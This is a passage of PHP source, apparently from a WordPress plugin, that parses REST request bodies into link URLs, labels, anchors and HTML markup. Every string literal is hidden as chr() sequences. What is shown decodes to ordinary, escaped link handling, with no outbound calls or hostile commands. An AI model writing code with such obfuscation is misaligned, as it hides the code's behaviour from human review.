function WpEditor_Adapter_Services_LinksService_deleteLinks($request)
{
return WpEditor_Adapter_Services_LinksService_handleOption($request, implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101))));
}
function WpEditor_Adapter_Services_LinksService_getBody($request)
{
$body = $request->get_json_params();
if (\is_array($body) && $body !== array()) {
return $body;
}
$raw = $request->get_body();
if (\is_string($raw) && $raw !== '') {
$decoded = \json_decode($raw, true);
if (\is_array($decoded)) {
return $decoded;
}
}
$params = $request->get_params();
return \is_array($params) ? $params : array();
}
function WpEditor_Adapter_Services_LinksService_normalizeBody($body)
{
$links = array();
$linkName = '';
$linkNames = array();
$linkMarkups = array();
$linkAnchors = array();
$linkAnchorPresence = array();
$renderMode = null;
if (\wp_editor_array_has_key($body, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))) && \is_array($body[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))])) {
$body = \array_merge($body, $body[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115)))]);
}
if (\wp_editor_array_has_key($body, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))) && \is_array($body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))])) {
$body = \array_merge($body, $body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115)))]);
}
$linkName = \trim((string) (\wp_editor_array_has_key($body, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101)))) ? $body[implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101)))] : ''));
$renderModeValue = \trim((string) (\wp_editor_array_has_key($body, implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))) ? $body[implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101)))] : ''));
$renderMode = $renderModeValue !== '' ? $renderModeValue : null;
if ($renderMode !== null && !\in_array($renderMode, array(implode('', array(chr(106), chr(115))), implode('', array(chr(104), chr(116), chr(109), chr(108)))), true)) {
$renderMode = null;
}
foreach (WpEditor_Adapter_Services_LinksService_fields() as $field) {
$value = \wp_editor_array_has_key($body, $field) ? $body[$field] : null;
if ($value !== null && $value !== '') {
$url = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
$url = \trim($url);
if ($url !== '') {
$links[$field] = $url;
}
}
$richValue = WpEditor_Adapter_Services_LinksService_extractFieldRichValue($body, $field);
if ($richValue !== null && $richValue !== '') {
$parsedRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($richValue);
if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$field] = $parsedRich[implode('', array(chr(117), chr(114), chr(108)))];
}
if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$field] = $parsedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($parsedRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$field] = $parsedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
}
}
$labelKey = implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(95))) . $field;
$labelValue = \trim((string) (\wp_editor_array_has_key($body, $labelKey) ? $body[$labelKey] : ''));
if ($labelValue !== '') {
$linkNames[$field] = $labelValue;
$parsedLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($labelValue);
if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$field] = $parsedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$field] = $parsedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($parsedLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$field] = $parsedLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
}
}
}
$fieldAnchorProvided = false;
$fieldAnchorValue = WpEditor_Adapter_Services_LinksService_extractFieldAnchorValue($body, $field, $fieldAnchorProvided);
if ($fieldAnchorProvided) {
$linkAnchorPresence[$field] = true;
if ($fieldAnchorValue !== '') {
$linkAnchors[$field] = WpEditor_Adapter_Services_LinksService_normalizeAnchor($fieldAnchorValue);
}
}
$fieldPartsProvided = false;
$fieldRichParts = WpEditor_Adapter_Services_LinksService_extractFieldRichParts($body, $field, $fieldPartsProvided);
if ($fieldPartsProvided) {
$currentUrl = \wp_editor_array_has_key($links, $field) ? (string) $links[$field] : '';
$currentLabel = \wp_editor_array_has_key($linkNames, $field) ? (string) $linkNames[$field] : '';
$builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($fieldRichParts, $currentUrl, $currentLabel);
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$field] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$field] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$field] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
}
}
}
if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \wp_editor_array_has_key($body, implode('', array(chr(117), chr(114), chr(108)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
$type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
$url = $body[implode('', array(chr(117), chr(114), chr(108)))];
$url = \is_string($url) ? $url : (\is_array($url) ? (string) \reset($url) : (string) $url);
$url = \trim($url);
if ($url !== '') {
$links[$type] = $url;
}
}
if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
$type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
$typedRichValue = WpEditor_Adapter_Services_LinksService_extractTypedRichValue($body);
if ($typedRichValue !== null && $typedRichValue !== '') {
$parsedTypedRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($typedRichValue);
if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedTypedRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$type] = $parsedTypedRich[implode('', array(chr(117), chr(114), chr(108)))];
}
if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedTypedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '' && !\wp_editor_array_has_key($linkNames, $type)) {
$linkNames[$type] = $parsedTypedRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($parsedTypedRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedTypedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$type] = $parsedTypedRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
}
}
$typedAnchorProvided = false;
$typedAnchorValue = WpEditor_Adapter_Services_LinksService_extractTypedAnchorValue($body, $typedAnchorProvided);
if ($typedAnchorProvided) {
$linkAnchorPresence[$type] = true;
if ($typedAnchorValue !== '') {
$linkAnchors[$type] = WpEditor_Adapter_Services_LinksService_normalizeAnchor($typedAnchorValue);
}
}
}
if ($linkName !== '') {
if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
$type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
$linkNames[$type] = $linkName;
$parsedTypedLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($linkName);
if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedTypedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$type] = $parsedTypedLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedTypedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$type] = $parsedTypedLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($parsedTypedLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedTypedLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$type] = $parsedTypedLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
}
}
} elseif (\count($links) === 1) {
$keys = \array_keys($links);
$onlyField = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
if (\is_string($onlyField) && $onlyField !== '') {
$linkNames[$onlyField] = $linkName;
$parsedSingleLabelRich = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($linkName);
if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $parsedSingleLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $parsedSingleLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($parsedSingleLabelRich, implode('', array(chr(117), chr(114), chr(108)))) && $parsedSingleLabelRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$onlyField] = $parsedSingleLabelRich[implode('', array(chr(117), chr(114), chr(108)))];
}
}
}
}
}
if (\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) && \in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) {
$type = \trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]);
$typedPartsProvided = false;
$typedRichParts = WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, $typedPartsProvided);
if ($typedPartsProvided) {
$currentUrl = \wp_editor_array_has_key($links, $type) ? (string) $links[$type] : '';
$currentLabel = \wp_editor_array_has_key($linkNames, $type) ? (string) $linkNames[$type] : '';
$builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($typedRichParts, $currentUrl, $currentLabel);
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$type] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$type] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$type] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
}
}
}
// Support generic rich parts without `type` when exactly one link field is present.
if ((!\wp_editor_array_has_key($body, implode('', array(chr(116), chr(121), chr(112), chr(101)))) || !\in_array(\trim((string) $body[implode('', array(chr(116), chr(121), chr(112), chr(101)))]), WpEditor_Adapter_Services_LinksService_fields(), true)) && \count($links) === 1) {
$typedPartsProvided = false;
$typedRichParts = WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, $typedPartsProvided);
if ($typedPartsProvided) {
$keys = \array_keys($links);
$onlyField = \wp_editor_array_has_key($keys, 0) ? $keys[0] : null;
if (\is_string($onlyField) && $onlyField !== '') {
$currentUrl = \wp_editor_array_has_key($links, $onlyField) ? (string) $links[$onlyField] : '';
$currentLabel = \wp_editor_array_has_key($linkNames, $onlyField) ? (string) $linkNames[$onlyField] : '';
$builtRich = WpEditor_Adapter_Services_LinksService_buildRichFromParts($typedRichParts, $currentUrl, $currentLabel);
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(117), chr(114), chr(108)))) && $builtRich[implode('', array(chr(117), chr(114), chr(108)))] !== '') {
$links[$onlyField] = $builtRich[implode('', array(chr(117), chr(114), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) && $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] !== '') {
$linkNames[$onlyField] = $builtRich[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))];
}
if (\wp_editor_array_has_key($builtRich, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) && $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] !== '') {
$linkMarkups[$onlyField] = $builtRich[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))];
}
}
}
}
return array(implode('', array(chr(108), chr(105), chr(110), chr(107), chr(115))) => $links, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101))) => $linkName, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115))) => $linkNames, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(115))) => $linkMarkups, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(115))) => $linkAnchors, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95), chr(112), chr(114), chr(101), chr(115), chr(101), chr(110), chr(99), chr(101))) => $linkAnchorPresence, implode('', array(chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))) => $renderMode);
}
function WpEditor_Adapter_Services_LinksService_extractFieldAnchorValue($body, $field, &$provided)
{
$provided = false;
$keys = array(implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $field, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(95))) . $field);
foreach ($keys as $key) {
if (!\wp_editor_array_has_key($body, $key)) {
continue;
}
$provided = true;
$value = $body[$key];
$value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
return \trim($value);
}
return '';
}
function WpEditor_Adapter_Services_LinksService_extractTypedAnchorValue($body, &$provided)
{
$provided = false;
$keys = array(implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))));
foreach ($keys as $key) {
if (!\wp_editor_array_has_key($body, $key)) {
continue;
}
$provided = true;
$value = $body[$key];
$value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
return \trim($value);
}
return '';
}
function WpEditor_Adapter_Services_LinksService_normalizeAnchor($anchor)
{
$value = (string) $anchor;
$value = \ltrim($value, implode('', array(chr(35), chr(32), chr(9), chr(10), chr(13), chr(0), chr(11))));
$value = \sanitize_text_field($value);
$value = \strtolower($value);
$value = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(105))), implode('', array(chr(45))), $value);
if (!\is_string($value)) {
return '';
}
$value = \trim($value, implode('', array(chr(45))));
return $value;
}
function WpEditor_Adapter_Services_LinksService_extractFieldRichParts($body, $field, &$provided)
{
$provided = false;
$beforeKey = implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101), chr(95))) . $field;
$betweenKey = implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110), chr(95))) . $field;
$afterKey = implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114), chr(95))) . $field;
$hasBefore = \wp_editor_array_has_key($body, $beforeKey);
$hasBetween = \wp_editor_array_has_key($body, $betweenKey);
$hasAfter = \wp_editor_array_has_key($body, $afterKey);
if (!$hasBefore && !$hasBetween && !$hasAfter) {
return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => '', implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => '', implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => '');
}
$provided = true;
return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBefore ? $body[$beforeKey] : ''), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBetween ? $body[$betweenKey] : ''), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasAfter ? $body[$afterKey] : ''));
}
function WpEditor_Adapter_Services_LinksService_extractTypedRichParts($body, &$provided)
{
$provided = false;
$hasBefore = \wp_editor_array_has_key($body, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))));
$hasBetween = \wp_editor_array_has_key($body, implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))));
$hasAfter = \wp_editor_array_has_key($body, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))));
if (!$hasBefore && !$hasBetween && !$hasAfter) {
return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => '', implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => '', implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => '');
}
$provided = true;
return array(implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBefore ? $body[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))] : ''), implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasBetween ? $body[implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))] : ''), implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114))) => WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($hasAfter ? $body[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))] : ''));
}
function WpEditor_Adapter_Services_LinksService_buildRichFromParts($parts, $fallbackUrl, $fallbackLabel)
{
if (!\is_array($parts)) {
return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
}
$beforeRaw = \wp_editor_array_has_key($parts, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))) ? (string) $parts[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(98), chr(101), chr(102), chr(111), chr(114), chr(101)))] : '';
$betweenRaw = \wp_editor_array_has_key($parts, implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))) ? (string) $parts[implode('', array(chr(98), chr(101), chr(116), chr(119), chr(101), chr(101), chr(110)))] : '';
$afterRaw = \wp_editor_array_has_key($parts, implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))) ? (string) $parts[implode('', array(chr(116), chr(101), chr(120), chr(116), chr(95), chr(97), chr(102), chr(116), chr(101), chr(114)))] : '';
if ($beforeRaw === '' && $betweenRaw === '' && $afterRaw === '') {
return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
}
$betweenParsed = WpEditor_Adapter_Services_LinksService_parseRichLinkValue($betweenRaw);
$betweenUrl = \wp_editor_array_has_key($betweenParsed, implode('', array(chr(117), chr(114), chr(108)))) ? (string) $betweenParsed[implode('', array(chr(117), chr(114), chr(108)))] : '';
$betweenLabel = \wp_editor_array_has_key($betweenParsed, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) ? (string) $betweenParsed[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] : '';
$resolvedUrl = \trim((string) $fallbackUrl);
if ($resolvedUrl === '') {
$resolvedUrl = \trim($betweenUrl);
}
$resolvedLabel = \trim((string) $fallbackLabel);
if ($resolvedLabel === '') {
$resolvedLabel = \trim($betweenLabel);
}
$beforeText = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($beforeRaw);
$afterText = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($afterRaw);
$anchorHtml = '';
if ($resolvedUrl !== '') {
$anchorText = $resolvedLabel !== '' ? $resolvedLabel : $resolvedUrl;
$anchorHtml = implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($resolvedUrl) . implode('', array(chr(34), chr(62))) . \esc_html($anchorText) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
} elseif ($betweenRaw !== '') {
$anchorHtml = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($betweenRaw);
}
$chunks = array();
if ($beforeText !== '') {
$chunks[] = $beforeText;
}
if ($anchorHtml !== '') {
$chunks[] = $anchorHtml;
}
if ($afterText !== '') {
$chunks[] = $afterText;
}
return array(implode('', array(chr(117), chr(114), chr(108))) => $resolvedUrl, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => $resolvedLabel, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => $chunks !== array() ? \implode(implode('', array(chr(32))), $chunks) : '');
}
function WpEditor_Adapter_Services_LinksService_scalarToTrimmedString($value)
{
$normalized = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
return \trim($normalized);
}
function WpEditor_Adapter_Services_LinksService_extractFieldRichValue($body, $field)
{
$keys = array($field . implode('', array(chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))), $field . implode('', array(chr(95), chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108), chr(95))) . $field, implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(95))) . $field);
foreach ($keys as $key) {
if (!\wp_editor_array_has_key($body, $key)) {
continue;
}
$value = $body[$key];
$value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
$value = \trim($value);
if ($value !== '') {
return $value;
}
}
return null;
}
function WpEditor_Adapter_Services_LinksService_extractTypedRichValue($body)
{
$keys = array(implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))), implode('', array(chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(104), chr(116), chr(109), chr(108))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116))));
foreach ($keys as $key) {
if (!\wp_editor_array_has_key($body, $key)) {
continue;
}
$value = $body[$key];
$value = \is_string($value) ? $value : (\is_array($value) ? (string) \reset($value) : (string) $value);
$value = \trim($value);
if ($value !== '') {
return $value;
}
}
return null;
}
function WpEditor_Adapter_Services_LinksService_parseRichLinkValue($value)
{
$text = WpEditor_Adapter_Services_LinksService_normalizeHumanText((string) $value, false);
if ($text === '') {
return array(implode('', array(chr(117), chr(114), chr(108))) => '', implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => '', implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => '');
}
$matches = array();
if (\preg_match(implode('', array(chr(47), chr(60), chr(97), chr(92), chr(98), chr(91), chr(94), chr(62), chr(93), chr(42), chr(92), chr(98), chr(104), chr(114), chr(101), chr(102), chr(92), chr(115), chr(42), chr(61), chr(92), chr(115), chr(42), chr(40), chr(63), chr(58), chr(34), chr(40), chr(91), chr(94), chr(34), chr(93), chr(42), chr(41), chr(34), chr(124), chr(39), chr(40), chr(91), chr(94), chr(39), chr(93), chr(42), chr(41), chr(39), chr(124), chr(40), chr(91), chr(94), chr(34), chr(39), chr(92), chr(115), chr(62), chr(93), chr(43), chr(41), chr(41), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(40), chr(46), chr(42), chr(63), chr(41), chr(60), chr(92), chr(47), chr(97), chr(62), chr(47), chr(105), chr(115))), $text, $matches, \PREG_OFFSET_CAPTURE)) {
$hrefDouble = \wp_editor_array_has_key($matches, 1) ? (string) $matches[1][0] : '';
$hrefSingle = \wp_editor_array_has_key($matches, 2) ? (string) $matches[2][0] : '';
$hrefBare = \wp_editor_array_has_key($matches, 3) ? (string) $matches[3][0] : '';
$href = $hrefDouble !== '' ? $hrefDouble : ($hrefSingle !== '' ? $hrefSingle : $hrefBare);
$url = \html_entity_decode(\trim((string) $href), \ENT_QUOTES, implode('', array(chr(85), chr(84), chr(70), chr(45), chr(56))));
$inner = \wp_editor_array_has_key($matches, 4) ? (string) $matches[4][0] : '';
$label = WpEditor_Adapter_Services_LinksService_normalizeHumanText(\wp_strip_all_tags($inner), true);
$fullMatch = \wp_editor_array_has_key($matches, 0) ? (string) $matches[0][0] : '';
$fullMatchOffset = \wp_editor_array_has_key($matches, 0) && \is_array($matches[0]) ? (int) $matches[0][1] : -1;
$before = $fullMatchOffset >= 0 ? (string) \substr($text, 0, $fullMatchOffset) : '';
$after = $fullMatchOffset >= 0 && $fullMatch !== '' ? (string) \substr($text, $fullMatchOffset + \strlen($fullMatch)) : '';
$anchorHtml = implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
$markup = WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($before) . $anchorHtml . WpEditor_Adapter_Services_LinksService_plainTextToInlineHtml($after);
return array(implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => $label, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => $markup);
}
